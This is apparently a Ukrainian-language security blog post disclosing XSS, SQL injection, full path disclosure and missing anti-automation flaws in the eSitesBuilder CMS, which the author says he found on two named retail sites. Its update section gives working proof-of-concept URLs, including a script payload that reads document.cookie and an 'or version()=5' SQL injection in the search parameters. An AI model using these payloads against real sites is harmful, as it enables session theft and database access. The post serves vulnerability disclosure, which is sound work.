Нові уразливості в eSitesBuilder
15:09 25.08.201019.06.2010
У травні, 06.05.2009, я знайшов Insufficient Anti-automation, Cross-Site Scripting, SQL Injection та Full path disclosure уразливості в eSitesBuilder (це українська комерційна CMS). Які я виявив на сайтах www.allo.ua та rozetka.com.ua. Про що найближчим часом повідомлю розробникам.
Раніше я вже писав про уразливості в eSitesBuilder.
Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам системи.
25.08.2010
Insufficient Anti-automation:
http://site/forget.php
В формі немає захисту від автоматизованих запитів (капчі).
XSS:
Це single-user persistent XSS (коли користувач залогінений на сайті).
POST запит до сторінки профайла http://site/account.php. Код спрацює на сторінці профайла (поля Имя, Email, Телефон, Адрес 1, Адрес 2, Город/Поселок, Область) та на кожній зовнішній сторінці сайта (поле Имя).
XSS (persistent):
Через поле Имя в профайлі можна провести атаку на сторінках:
http://site/products/comments/product/
http://site/products/details/product/
XSS:
http://site/index.php?page=search&start_do_search=yes&search_text=%3Cscript%3Ealert(document.cookie)%3C/script%3E
SQL Injection:
http://site/index.php?page=search&start_do_search=yes&search_text=1&pcat_id=-1%20or%20version()=5
Full path disclosure:
http://site/index.php?page=search&search_text=%3C%3E
Уразливі потенційно всі версії eSitesBuilder.